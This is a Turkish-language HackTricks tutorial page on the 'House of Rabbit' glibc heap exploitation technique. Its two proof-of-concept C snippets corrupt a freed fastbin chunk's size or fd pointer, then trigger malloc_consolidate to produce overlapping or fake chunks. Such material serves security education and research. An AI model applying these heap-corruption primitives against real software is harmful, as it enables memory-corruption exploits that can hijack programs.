hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

5 KiB
Raw Blame History

Tavşan Evi

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Gereksinimler

  1. Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
  2. malloc_consolidate'i tetikleme yeteneği: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.

Hedefler

  1. Üst üste gelen parçalar oluşturmak: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
  2. Sahte parçalar oluşturmak: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.

Saldırı Adımları

POC 1: Hızlı bin parça boyutunu değiştirme

Amaç: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.

  • Adım 1: Parçalar Tahsis Etme
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Adım 2: Parçaları Serbest Bırakın
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Adım 3: Parça Boyutunu Değiştirme
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Adım 4: malloc_consolidate'yi Tetikleyin
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren malloc_consolidate işlevini tetikler. chunk1'in manipüle edilen boyutu, chunk2 ile örtüşmesine neden olur.

Konsolidasyondan sonra, chunk1, chunk2 ile örtüşerek daha fazla sömürüye izin verir.

POC 2: fd işaretçisini değiştirme

Amaç: Hızlı kutu fd işaretçisini manipüle ederek sahte bir parça oluşturmak.

  • Adım 1: Parçaları Ayırma
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

ıklama: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.

  • Adım 2: Sahte blok oluştur
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Adım 3: chunk1'i serbest bırakın
free(chunk1);  // Frees the chunk at 0x602000

ıklama: chunk1'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.

  • Adım 4: chunk1'in fd'sini değiştirin
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

ıklama: chunk1'in ileri işaretçisini (fd) chunk2 içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.

  • Adım 5: malloc_consolidate'i Tetikle
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça yeniden tahsis edildiğinde malloc_consolidate tetiklenir, sahte parça işlenir.

Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.

Özet

House of Rabbit tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için fd işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.